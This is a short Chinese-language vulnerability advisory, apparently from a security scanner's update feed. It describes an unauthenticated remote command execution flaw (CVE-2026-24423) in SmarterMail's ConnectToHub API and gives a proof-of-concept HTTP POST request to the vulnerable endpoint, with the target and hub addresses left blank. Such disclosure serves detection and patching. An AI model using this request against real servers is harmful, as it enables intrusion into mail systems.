SmarterMail ConnectToHub /api/v1/settings/sysadmin/connect-to-hub 命令执行漏洞（CVE-2026-24423）

2026-01-29 SmarterMail PoC Public

Description

SmarterTools SmarterMail 在 build 9511 之前的版本中，ConnectToHub API 方法存在未授权远程代码执行漏洞。由于该接口在与外部 HTTP 服务器通信时未对返回内容进行安全校验，攻击者可将 SmarterMail 指向其控制的恶意 HTTP 服务器，由该服务器返回包含操作系统命令的恶意响应，从而导致 SmarterMail 在未进行身份认证的情况下执行任意系统命令。

PoC

POST /api/v1/settings/sysadmin/connect-to-hub HTTP/1.1
Host: 
Content-Type: application/json
Content-Length: 87
User-Agent: poc-scan
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

{"hubAddress": "http://", "oneTimePassword": "test", "nodeName": "node"}

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates#SmarterMail ConnectToHub /api/v1/settings/sysadmin/connect-to-hub Command Execution Vulnerability (CVE-2026-24423)

References

Related Vulnerabilities